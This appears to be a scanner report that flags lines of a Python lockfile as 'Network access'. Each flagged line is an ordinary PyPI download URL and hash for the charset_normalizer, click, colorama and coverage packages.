{ url = "https://files.pythonhosted.org/packages/2e/4e/b7f84e617b4854ade48a1b7915c8ccfadeba444d2a18c291f696e37f0d3b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha25 - Network accessline 175
{ url = "https://files.pythonhosted.org/packages/c4/bb/ec73c0257c9e11b268f018f068f5d00aa0ef8c8b09f7753ebd5f2880e248/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha25 - Network accessline 176
{ url = "https://files.pythonhosted.org/packages/85/fb/32d1f5033484494619f701e719429c69b766bfc4dbc61aa9e9c8c166528b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3bec - Network accessline 177
{ url = "https://files.pythonhosted.org/packages/fa/07/330e3a0dda4c404d6da83b327270906e9654a24f6c546dc886a0eb0ffb23/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e - Network accessline 178
{ url = "https://files.pythonhosted.org/packages/e3/7c/fc890655786e423f02556e0216d4b8c6bcb6bdfa890160dc66bf52dee468/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:f495a1652cf3fbab2eb0639776dad966c2fb874d79d8 - Network accessline 179
{ url = "https://files.pythonhosted.org/packages/d8/97/bfb18b3db2aed3b90cf54dc292ad79fdd5ad65c4eae454099475cbeadd0d/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e712b419df8ba5e42b22 - Network accessline 180
{ url = "https://files.pythonhosted.org/packages/6f/a5/a581c13798546a7fd557c82614a5c65a13df2157e9ad6373166d2a3e645d/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7804338df6fcc08105c7745f1502ba68d900f45fd770 - Network accessline 181
{ url = "https://files.pythonhosted.org/packages/8c/bf/b3ab5bcb478e4193d517644b0fb2bf5497fbceeaa7a1bc0f4d5b50953861/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:481551899c856c704d58119b5025793fa6730adda3571 - Network accessline 182
{ url = "https://files.pythonhosted.org/packages/e7/4e/23efd79b65d314fa320ec6017b4b5834d5c12a58ba4610aa353af2e2f577/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:f59099f9b66f0d7145115e6f80dd8b1d847176df89b2 - Network accessline 183
{ url = "https://files.pythonhosted.org/packages/b9/9f/1e1941bc3f0e01df116e68dc37a55c4d249df5e6fa77f008841aef68264f/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:f59ad4c0e8f6bba240a9bb85504faa1ab438237199d4 - Network accessline 184
{ url = "https://files.pythonhosted.org/packages/80/0f/088cbb3020d44428964a6c97fe1edfb1b9550396bf6d278330281e8b709c/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:3dedcc22d73ec993f42055eff4fcfed9318d1eeb9a6606 - Network accessline 185
{ url = "https://files.pythonhosted.org/packages/6a/9f/130394f9bbe06f4f63e22641d32fc9b202b7e251c9aef4db044324dac493/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:64f02c6841d7d83f832cd97ccf8eb8a906d06eb95d527 - Network accessline 186
{ url = "https://files.pythonhosted.org/packages/73/55/c469897448a06e49f8fa03f6caae97074fde823f432a98f979cc42b90e69/charset_normalizer-3.4.7-cp313-cp313-win32.whl", hash = "sha256:4042d5c8f957e15221d423ba781e85d553722fc4113f523f2feb7b188cc3 - Network accessline 187
{ url = "https://files.pythonhosted.org/packages/5d/78/1b74c5bbb3f99b77a1715c91b3e0b5bdb6fe302d95ace4f5b1bec37b0167/charset_normalizer-3.4.7-cp313-cp313-win_amd64.whl", hash = "sha256:3946fa46a0cf3e4c8cb1cc52f56bb536310d34f25f01ca9b6c16afa7 - Network accessline 188
{ url = "https://files.pythonhosted.org/packages/68/86/46bd42279d323deb8687c4a5a811fd548cb7d1de10cf6535d099877a9a9f/charset_normalizer-3.4.7-cp313-cp313-win_arm64.whl", hash = "sha256:80d04837f55fc81da168b98de4f4b797ef007fc8a79ab71c6ec9bc4d - Network accessline 189
{ url = "https://files.pythonhosted.org/packages/97/c8/c67cb8c70e19ef1960b97b22ed2a1567711de46c4ddf19799923adc836c2/charset_normalizer-3.4.7-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:c36c333c39be2dbca264d7803333c896ab8fa7d4d6 - Network accessline 190
{ url = "https://files.pythonhosted.org/packages/99/85/c091fdee33f20de70d6c8b522743b6f831a2f1cd3ff86de4c6a827c48a76/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha25 - Network accessline 191
{ url = "https://files.pythonhosted.org/packages/87/1c/ab2ce611b984d2fd5d86a5a8a19c1ae26acac6bad967da4967562c75114d/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha25 - Network accessline 192
{ url = "https://files.pythonhosted.org/packages/a8/29/2b1d2cb00bf085f59d29eb773ce58ec2d325430f8c216804a0a5cd83cbca/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:7154 - Network accessline 193
{ url = "https://files.pythonhosted.org/packages/47/5c/032c2d5a07fe4d4855fea851209cca2b6f03ebeb6d4e3afdb3358386a684/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b - Network accessline 194
{ url = "https://files.pythonhosted.org/packages/2c/c2/356065d5a8b78ed04499cae5f339f091946a6a74f91e03476c33f0ab7100/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:c45e9440fb78f8ddabcf714b68f936737a121355bf59 - Network accessline 195
{ url = "https://files.pythonhosted.org/packages/0c/cd/a32a84217ced5039f53b29f460962abb2d4420def55afabe45b1c3c7483d/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3534e7dcbdcf757da6b8 - Network accessline 196
{ url = "https://files.pythonhosted.org/packages/44/86/58e6f13ce26cc3b8f4a36b94a0f22ae2f00a72534520f4ae6857c4b81f89/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:e8ac484bf18ce6975760921bb6148041faa8fef05472 - Network accessline 197
{ url = "https://files.pythonhosted.org/packages/8f/fe/d17c32dc72e17e155e06883efa84514ca375f8a528ba2546bee73fc4df81/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:a5fe03b42827c13cdccd08e6c0247b6a6d4b5e3cdc53f - Network accessline 198
{ url = "https://files.pythonhosted.org/packages/6a/29/f33daa50b06525a237451cdb6c69da366c381a3dadcd833fa5676bc468b3/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:2d6eb928e13016cea4f1f21d1e10c1cebd5a421bc57d - Network accessline 199
{ url = "https://files.pythonhosted.org/packages/b6/6e/52c84015394a6a0bdcd435210a7e944c5f94ea1055f5cc5d56c5fe368e7b/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:e74327fb75de8986940def6e8dee4f127cc9752bee73 - Network accessline 200
{ url = "https://files.pythonhosted.org/packages/8c/d7/4353be581b373033fb9198bf1da3cf8f09c1082561e8e922aa7b39bf9fe8/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:d6038d37043bced98a66e68d3aa2b6a35505dc01328cd6 - Network accessline 201
{ url = "https://files.pythonhosted.org/packages/30/45/99d18aa925bd1740098ccd3060e238e21115fffbfdcb8f3ece837d0ace6c/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7579e913a5339fb8fa133f6bbcfd8e6749696206cf05a - Network accessline 202
{ url = "https://files.pythonhosted.org/packages/5c/05/5ee478aa53f4bb7996482153d4bfe1b89e0f087f0ab6b294fcf92d595873/charset_normalizer-3.4.7-cp314-cp314-win32.whl", hash = "sha256:5b77459df20e08151cd6f8b9ef8ef1f961ef73d85c21a555c7eed5b79410 - Network accessline 203
{ url = "https://files.pythonhosted.org/packages/48/77/72dcb0921b2ce86420b2d79d454c7022bf5be40202a2a07906b9f2a35c97/charset_normalizer-3.4.7-cp314-cp314-win_amd64.whl", hash = "sha256:92a0a01ead5e668468e952e4238cccd7c537364eb7d851ab144ab662 - Network accessline 204
{ url = "https://files.pythonhosted.org/packages/c6/a3/c2369911cd72f02386e4e340770f6e158c7980267da16af8f668217abaa0/charset_normalizer-3.4.7-cp314-cp314-win_arm64.whl", hash = "sha256:67f6279d125ca0046a7fd386d01b311c6363844deac3e5b069b514ba - Network accessline 205
{ url = "https://files.pythonhosted.org/packages/94/09/7e8a7f73d24dba1f0035fbbf014d2c36828fc1bf9c88f84093e57d315935/charset_normalizer-3.4.7-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:effc3f449787117233702311a1b7d8f59cba9ced9 - Network accessline 206
{ url = "https://files.pythonhosted.org/packages/8d/da/96975ddb11f8e977f706f45cddd8540fd8242f71ecdb5d18a80723dcf62c/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha2 - Network accessline 207
{ url = "https://files.pythonhosted.org/packages/e5/e8/1d63bf8ef2d388e95c64b2098f45f84758f6d102a087552da1485912637b/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha2 - Network accessline 208
{ url = "https://files.pythonhosted.org/packages/9b/40/e5ff04233e70da2681fa43969ad6f66ca5611d7e669be0246c4c7aaf6dc8/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a89 - Network accessline 209
{ url = "https://files.pythonhosted.org/packages/be/c1/06c6c49d5a5450f76899992f1ee40b41d076aee9279b49cf9974d2f313d5/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256: - Network accessline 210
{ url = "https://files.pythonhosted.org/packages/2b/9f/f2ff16fb050946169e3e1f82134d107e5d4ae72647ec8a1b1446c148480f/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:a180c5e59792af262bf263b21a3c49353f25945d8d9 - Network accessline 211
{ url = "https://files.pythonhosted.org/packages/69/d5/a527c0cd8d64d2eab7459784fb4169a0ac76e5a6fc5237337982fd61347e/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3c9a494bc5ec77d43ce - Network accessline 212
{ url = "https://files.pythonhosted.org/packages/7e/80/8a7b8104a3e203074dc9aa2c613d4b726c0e136bad1cc734594b02867972/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8d828b6667a32a728a1ad1d93957cdf37489c57b97a - Network accessline 213
{ url = "https://files.pythonhosted.org/packages/02/9a/b759b503d507f375b2b5c153e4d2ee0a75aa215b7f2489cf314f4541f2c0/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:cf1493cd8607bec4d8a7b9b004e699fcf8f9103a9284 - Network accessline 214
{ url = "https://files.pythonhosted.org/packages/c2/4e/0f3f5d47b86bdb79256e7290b26ac847a2832d9a4033f7eb2cd4bcf4bb5b/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:0c96c3b819b5c3e9e165495db84d41914d6894d5518 - Network accessline 215
{ url = "https://files.pythonhosted.org/packages/96/23/bce28734eb3ed2c91dcf93abeb8a5cf393a7b2749725030bb630e554fdd8/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:752a45dc4a6934060b3b0dab47e04edc3326575f82b - Network accessline 216
{ url = "https://files.pythonhosted.org/packages/2c/6f/6e897c6984cc4d41af319b077f2f600fc8214eb2fe2d6bcb79141b882400/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:8778f0c7a52e56f75d12dae53ae320fae900a8b9b4164 - Network accessline 217
{ url = "https://files.pythonhosted.org/packages/76/22/ef7bd0fe480a0ae9b656189ec00744b60933f68b4f42a7bb06589f6f576a/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:ce3412fbe1e31eb81ea42f4169ed94861c56e643189e - Network accessline 218
{ url = "https://files.pythonhosted.org/packages/c5/a7/0e0ab3e0b5bc1219bd80a6a0d4d72ca74d9250cb2382b7c699c147e06017/charset_normalizer-3.4.7-cp314-cp314t-win32.whl", hash = "sha256:c03a41a8784091e67a39648f70c5f97b5b6a37f216896d44d2cdcb82615 - Network accessline 219
{ url = "https://files.pythonhosted.org/packages/7a/1d/29d32e0fb40864b1f878c7f5a0b343ae676c6e2b271a2d55cc3a152391da/charset_normalizer-3.4.7-cp314-cp314t-win_amd64.whl", hash = "sha256:03853ed82eeebbce3c2abfdbc98c96dc205f32a79627688ac9a2737 - Network accessline 220
{ url = "https://files.pythonhosted.org/packages/de/32/d92444ad05c7a6e41fb2036749777c163baf7a0301a040cb672d6b2b1ae9/charset_normalizer-3.4.7-cp314-cp314t-win_arm64.whl", hash = "sha256:c35abb8bfff0185efac5878da64c45dafd2b37fb0383add1be155a7 - Network accessline 221
{ url = "https://files.pythonhosted.org/packages/db/8f/61959034484a4a7c527811f4721e75d02d653a35afb0b6054474d8185d4c/charset_normalizer-3.4.7-py3-none-any.whl", hash = "sha256:3dce51d0f5e7951f8bb4900c257dad282f49190fdbebecd4ba99bcc41fef404d" - Network accessline 225
name = "click" version = "8.4.0" source = { registry = "https://pypi.org/simple" } - Network accessline 226
version = "8.4.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 227
source = { registry = "https://pypi.org/simple" } - Network accessline 229
{ name = "colorama", marker = "sys_platform == 'win32'" }, ] sdist = { url = "https://files.pythonhosted.org/packages/23/e4/796662cd90cf80e3a363c99db2b88e0e394b988a575f60a17e16440cd011/click-8.4.0.tar.gz", hash = "sha256:638f1338fe1235c8f4e - Network accessline 230
] sdist = { url = "https://files.pythonhosted.org/packages/23/e4/796662cd90cf80e3a363c99db2b88e0e394b988a575f60a17e16440cd011/click-8.4.0.tar.gz", hash = "sha256:638f1338fe1235c8f4e008e4a8a254fb5c5fbdcbb40ece3c9142ebb78e792973", size = 3508 - Network accessline 231
sdist = { url = "https://files.pythonhosted.org/packages/23/e4/796662cd90cf80e3a363c99db2b88e0e394b988a575f60a17e16440cd011/click-8.4.0.tar.gz", hash = "sha256:638f1338fe1235c8f4e008e4a8a254fb5c5fbdcbb40ece3c9142ebb78e792973", size = 350843 - Network accessline 232
wheels = [ { url = "https://files.pythonhosted.org/packages/ee/ae/8e92f8058baf87f6c7d86ee7e457668690195cc77efedb8d3797a06e3940/click-8.4.0-py3-none-any.whl", hash = "sha256:40c50b7c6c6adac2823d411041ec84f3f103f1b280d5e9ce0d7f998995832f8 - Network accessline 233
{ url = "https://files.pythonhosted.org/packages/ee/ae/8e92f8058baf87f6c7d86ee7e457668690195cc77efedb8d3797a06e3940/click-8.4.0-py3-none-any.whl", hash = "sha256:40c50b7c6c6adac2823d411041ec84f3f103f1b280d5e9ce0d7f998995832f81", size = 1161 - Network accessline 237
name = "colorama" version = "0.4.6" source = { registry = "https://pypi.org/simple" } - Network accessline 238
version = "0.4.6" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb - Network accessline 239
source = { registry = "https://pypi.org/simple" } - Network accessline 240
sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 276 - Network accessline 241
wheels = [ { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57a - Network accessline 242
{ url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size - Network accessline 246
name = "coverage" version = "7.14.0" source = { registry = "https://pypi.org/simple" } - Network accessline 247
version = "7.14.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/23/7f/d0720730a397a999ffc0fd3f5bebef347338e3a47b727da66fbb228e2ff2/coverage-7.14.0.tar.gz", hash = "sha256:057a6af - Network accessline 248
source = { registry = "https://pypi.org/simple" } - Network accessline 249
sdist = { url = "https://files.pythonhosted.org/packages/23/7f/d0720730a397a999ffc0fd3f5bebef347338e3a47b727da66fbb228e2ff2/coverage-7.14.0.tar.gz", hash = "sha256:057a6af2f160a85384cde4ab36f0d2777bae1057bae255f95413cdd382aa5c74", size = 91 - Network accessline 250
wheels = [ { url = "https://files.pythonhosted.org/packages/09/1e/2f996b2c8415cbb6f54b0f5ec1ee850c96d7911961afb4fc05f4a89d8c58/coverage-7.14.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7ffd19fc8aed057fd686a17a4935eef5f9859d69 - Network accessline 251
{ url = "https://files.pythonhosted.org/packages/09/1e/2f996b2c8415cbb6f54b0f5ec1ee850c96d7911961afb4fc05f4a89d8c58/coverage-7.14.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7ffd19fc8aed057fd686a17a4935eef5f9859d69208f96310e893e6 - Network accessline 252
{ url = "https://files.pythonhosted.org/packages/34/23/35c7aea1274aef7525bdd2dc92f710bdde6d11652239d71d1ec450067939/coverage-7.14.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:829994cfe1aeb773ca27bf246d4badc1e764893e3bfb98fff820fcecd - Network accessline 253
{ url = "https://files.pythonhosted.org/packages/75/cf/a8f4b43a16e194b0261257ad28ded5853ec052570afef4a84e1d81189f3b/coverage-7.14.0-cp312-cp312-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:b4f07cf7edcb7ec39431 - Network accessline 254
{ url = "https://files.pythonhosted.org/packages/69/ff/6699e7b71e60d3049eb2bdcbc95ee3f35707b2b0e48f32e9e63d3ce30c08/coverage-7.14.0-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:ca3d9cf2c32b52 - Network accessline 255
{ url = "https://files.pythonhosted.org/packages/22/ec/c936d495fcd67f48f03a9c4ad3297ff80d1f222a5df3980f15b34c186c21/coverage-7.14.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:92af528 - Network accessline 256
{ url = "https://files.pythonhosted.org/packages/5c/42/5af63f636cc62a4a2b1b3ba9146f6ee6f53a35a50d5cefc54d5670f60999/coverage-7.14.0-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:7b2bb6c - Network accessline 257
{ url = "https://files.pythonhosted.org/packages/26/d3/a225317bd2012132a27e1176d51660b826f99bb975876463c44ea0d7ee5a/coverage-7.14.0-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:1c9ed6ef99f88fb8c14aa8e2bf8eb - Network accessline 258
{ url = "https://files.pythonhosted.org/packages/f1/7f/9e65495298c3ea414742998539c37d048b5e81cc818fb1828cc6b51d10bf/coverage-7.14.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8231ade007f37959fbf58acc677f26b922c02eda6f0428ea307da - Network accessline 259
{ url = "https://files.pythonhosted.org/packages/94/46/1522b524a35bdad22b2b8c4f9d32d0a104b524726ec380b2db68db1746f5/coverage-7.14.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:d8b013632cc1ce1d09dbe4f32667b4d320ec2f54fc326ebeffcd0b0b - Network accessline 260
{ url = "https://files.pythonhosted.org/packages/f3/e9/cdf00d38817742c541ade405e115a3f7bf36e6f2a8b99d4f209861b85a2d/coverage-7.14.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:1733198802d71ec4c524f322e2867ee05c62e9e75df86bdca5454 - Network accessline 261
{ url = "https://files.pythonhosted.org/packages/38/fc/5e7877cf5f902d08a17ff1c532511476d87e1bea355bd5028cb97f902e79/coverage-7.14.0-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:72a305291fa8ee01332f1aaf38b348ca34097f6aa0b0ef627eef2 - Network accessline 262
{ url = "https://files.pythonhosted.org/packages/18/9d/50f05a72dff8487464fdd4178dda5daed642a060e60afb644e3d45123559/coverage-7.14.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fcaba850dd317c65423a9d63d88f9573c53b00354d6dd95724576c - Network accessline 263
{ url = "https://files.pythonhosted.org/packages/00/3f/6f61ffe6439df266c3cf60f5c99cfaa21103d0210d706a42fc6c30683ff8/coverage-7.14.0-cp312-cp312-win32.whl", hash = "sha256:5ac83957a80d0701310e96d8bec68cdcf4f90a7674b7d13f15a344315b41ab27", si - Network accessline 264
{ url = "https://files.pythonhosted.org/packages/85/19/93853133df2cb371083285ef6a93982a0173e7a233b0f61373ba9fd30eb2/coverage-7.14.0-cp312-cp312-win_amd64.whl", hash = "sha256:70390b0da32cb90b501953716302906e8bcce087cb283e70d8c97729f22e92b2" - Network accessline 265
{ url = "https://files.pythonhosted.org/packages/74/18/9f7fe62f659f24b7a82a0be56bf94c1bd0a89e0ae7ab4c668f6e82404294/coverage-7.14.0-cp312-cp312-win_arm64.whl", hash = "sha256:91b993743d959b8be85b4abf9d5478216a69329c321efe5be0433c1a841d691d" - Network accessline 266
{ url = "https://files.pythonhosted.org/packages/6b/76/b7c66ee3c66e1b0f9d894c8125983aa0c03fb2336f2fd16559f9c966157f/coverage-7.14.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:f2bbb8254370eb4c628ff3d6fa8a7f74ddc40565394d4f7ab791d1f - Network accessline 267
{ url = "https://files.pythonhosted.org/packages/b3/af/e567cbad5ba69c013a50146dfa886dc7193361fda77521f51274ff620e1b/coverage-7.14.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:23b81107f46d3f21d0cbce30664fcec0f5d9f585638a67081750f9973 - Network accessline 268
{ url = "https://files.pythonhosted.org/packages/44/6f/9ad575d505b4d805b254febc8a5b338a2efe278f8786e56ff1cb8413f9c3/coverage-7.14.0-cp313-cp313-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:22a7e06a5f11a757cdfe - Network accessline 269
{ url = "https://files.pythonhosted.org/packages/6f/5f/b5370068b2f57787454592ed7dcd1002f0f1703b7db1fa30f6a325a4ca6e/coverage-7.14.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:9d1aa57a1dc8e0 - Network accessline 270
{ url = "https://files.pythonhosted.org/packages/29/1e/51adf17738976e8f2b85ddef7b7aa12a0838b056c92f175941d8862767c1/coverage-7.14.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:90c1a51 - Network accessline 271
{ url = "https://files.pythonhosted.org/packages/9e/7b/5bfd7ac1df3b881c2ac7a5cbc99c7609e6296c402f5ef587cd81c6f355b3/coverage-7.14.0-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a841fae - Network accessline 272
{ url = "https://files.pythonhosted.org/packages/7d/38/1d37d316b174fad3843a1d76dbdfe4398771c9ecd0515935dd9ece9cd627/coverage-7.14.0-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c79d2319cabef1fe8e86df7337112 - Network accessline 273
{ url = "https://files.pythonhosted.org/packages/34/46/746704f95980ba220214e1a41e18cec5aea80a898eaa53c51bf2d645ff36/coverage-7.14.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:1b23b0c6f0b1db6ad769b7050c8b641c0bf215ded26c1816955b1 - Network accessline 274
{ url = "https://files.pythonhosted.org/packages/e1/b9/bbe87206d9687b192352f893797825b5f5b15ecd3aa9c68fbff0c074d77b/coverage-7.14.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:55d3089079ce181a4566b1065ab28d2575eb76d8ac8f81f4fcda2bf0 - Network accessline 275
{ url = "https://files.pythonhosted.org/packages/46/57/b8cdb12ac0d73ef0243218bd5e22c9df8f92edab8018213a86aec67c5324/coverage-7.14.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:49c005cba1e2f9677fb2845dcdf9a2e72a52a17d63e8231aaaae3 - Network accessline 276
{ url = "https://files.pythonhosted.org/packages/1f/d4/5002019538b2036ce3c84340f54d2fd5100d55b0a6b0894eee56128d03c7/coverage-7.14.0-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:9117377b823daa28aa8635fbb08cda1cd6be3d714325734545955 - Network accessline 277
{ url = "https://files.pythonhosted.org/packages/37/53/20c5009477660f084e6ed60bc02a91894b8e234e617e86ecfd9aaf78e27b/coverage-7.14.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:7b79d646cf46d5cf9a9f40281d4441df5849e445726e369006d2b1 - Network accessline 278
{ url = "https://files.pythonhosted.org/packages/ae/ab/3cf6427ac9c1f1db747dbb1ce71dde47984876d4c2cfd018a3fef0a78d4d/coverage-7.14.0-cp313-cp313-win32.whl", hash = "sha256:fb609b3658479e33f9516d46f1a89dbb9b6c261366e3a11844a96ec487533dae", si - Network accessline 279
{ url = "https://files.pythonhosted.org/packages/8f/b8/9228523e80321c2cb4880d1f589bc0171f2f71432c35118ad04dc01decce/coverage-7.14.0-cp313-cp313-win_amd64.whl", hash = "sha256:0773d8329cf32b6fd222e4b52622c61fe8d503eb966cfc8d3c3c10c96266d50e" - Network accessline 280
{ url = "https://files.pythonhosted.org/packages/a3/99/118daa192f95e3a6cb2740100fbf8797cda1734b4134ef0b5d501a7fa8f3/coverage-7.14.0-cp313-cp313-win_arm64.whl", hash = "sha256:b4e26a0f1b696faf283bffe5b8569e44e336c582439df5d53281ab89ee0cba96" - Network accessline 281
{ url = "https://files.pythonhosted.org/packages/e6/f1/a46cc0c013be170216253184a32366d7cbdb9252feaec866b05c2d12a894/coverage-7.14.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:953f521ca9445300397e65fda3dca58b2dbd68fee983777420b57a - Network accessline 282
{ url = "https://files.pythonhosted.org/packages/64/8c/9c30a3d311a34177fa432995be7fbfc64477d8bac5630bd38055b1c9b424/coverage-7.14.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:98af83fd65ae24b1fdd03aaead967a9f523bcd2f1aab2d4f3ffda65b - Network accessline 283
{ url = "https://files.pythonhosted.org/packages/9a/cd/3fb5e06c3badefd0c1b47e2044fdca67f8220a4ec2e7fcfb476aa0a67c6c/coverage-7.14.0-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:668b92e6958c4db7cf9 - Network accessline 284
{ url = "https://files.pythonhosted.org/packages/a8/e6/fbc322325c7294d3e22c1ad6b79e45d0806b25228c8e5842aed6d8169aa7/coverage-7.14.0-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:9fbd898551762 - Network accessline 285
{ url = "https://files.pythonhosted.org/packages/08/92/c497b264bec1673c47cc77e26f760fcda4654cabf1f39546d1a23a3b8c35/coverage-7.14.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:68af36 - Network accessline 286
{ url = "https://files.pythonhosted.org/packages/78/fc/045da320987f401af5d2815d351e8aa799aec859f60e29f445e3089eeedb/coverage-7.14.0-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6e5705 - Network accessline 287
{ url = "https://files.pythonhosted.org/packages/1b/ae/227b1e379497fb7a4fc3286e620f80c8a1e7cec66d45695a01639eb1af65/coverage-7.14.0-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:cc3499459bbcdd51a65b64c35ab7 - Network accessline 288
